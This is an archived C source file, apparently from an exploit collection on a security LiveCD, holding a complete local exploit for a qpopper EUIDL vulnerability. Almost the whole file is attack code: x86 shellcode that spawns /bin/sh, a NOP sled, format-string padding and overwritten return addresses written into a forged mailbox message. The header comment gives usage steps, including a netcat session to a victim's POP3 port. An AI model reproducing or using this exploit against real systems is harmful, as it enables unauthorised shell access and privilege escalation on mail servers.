home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop-euidl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  83 lines

  1. /*
  2.    Lame exploit for an even more lame vulnerability by portal@security.is
  3.       Usage: (addresses are not provided, just for fun :)
  4.    ./qpop-euidl <esp address> <eip address> > /var/spool/mail/<user>
  5.    (printf "user username\r\npass password\r\neuidl 1\r\n";cat) |nc victim 110
  6.       This could perhaps be made 'remotely local' if sendmail could be
  7.    forced to send the data through. Not that it matters.
  8.       Greetings go the the security.is team.
  9. */
  10.  
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16.  
  17. int bufsize = 541;
  18. int esp_repeat = 2;
  19. int eip_repeat = 2;
  20.  
  21.  
  22. char shellcode[] =
  23.   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  24.   "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  25.   "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  26.   "\xff\xff/bin/sh.........";
  27.  
  28.  
  29. int main(int argc, char **argv)
  30. {
  31.   int i;
  32.   unsigned long ret1 = 0L;
  33.   unsigned long ret2 = 0L;
  34.  
  35.   if (argc < 3)
  36.     {
  37.       fprintf (stderr, "QPOP EUIDL local. Exploited by p0rTaL (portal@security.is) Jan 10th\n\n", argv[0]);
  38.       fprintf (stderr, "this is lame, gives gid mail, though :D *whee*\n");
  39.       fprintf (stderr, "Usage: %s <esp address> <eip address>\n", argv[0]);
  40.       exit(0);
  41.     }
  42.  
  43.   ret1 = strtoul(argv[1], &argv[1], 16);
  44.   ret2 = strtoul(argv[2], &argv[2], 16);
  45.  
  46.   fprintf (stderr, "Using %%esp = 0x%x\n", ret1);
  47.   fprintf (stderr, "Using %%eip = 0x%x\n", ret2);
  48.  
  49.   printf ("From MAILER-DAEMON Mon Jan 10 15:27:02 2000\n");
  50.   printf ("Date: 10 Jan 2000 15:27:02 +0000\n");
  51.   printf ("From: ");
  52.   for (i = 0; i < 50; i++)
  53.     printf ("%s", "%u");
  54.  
  55.   for (i = 0; i < bufsize-strlen(shellcode); i++)
  56.     printf ("\x90");
  57.  
  58.   for (i = 0; i < strlen(shellcode); i++)
  59.     printf ("%c", shellcode[i]);
  60.  
  61.   /* Little endian */
  62.   for (i = 0; i < esp_repeat; i++)
  63.     printf ("%c%c%c%c", ((unsigned long)ret1 & 0x000000ff),
  64.             ((unsigned long)ret1 & 0x0000ff00) >> 8,
  65.             ((unsigned long)ret1 & 0x00ff0000) >> 16,
  66.             ((unsigned long)ret1 & 0xff000000) >> 24);
  67.  
  68.   for (i = 0; i < eip_repeat; i++)
  69.     printf ("%c%c%c%c", ((unsigned long)ret2 & 0x000000ff),
  70.             ((unsigned long)ret2 & 0x0000ff00) >> 8,
  71.             ((unsigned long)ret2 & 0x00ff0000) >> 16,
  72.             ((unsigned long)ret2 & 0xff000000) >> 24);
  73.  
  74.   printf ("\n");
  75.   printf ("Subject: ph33r me\n");
  76.   printf ("Message-ID: <947518022@localhost.evilattacker.org>\n");
  77.   printf ("X-IMAP: 0947516004 0000000001\n");
  78.   printf ("Status: RO\n\n");
  79.   printf ("\n");
  80.  
  81.   return (0);
  82. }
  83. /*                    www.hack.co.za           [8 June 2000]*/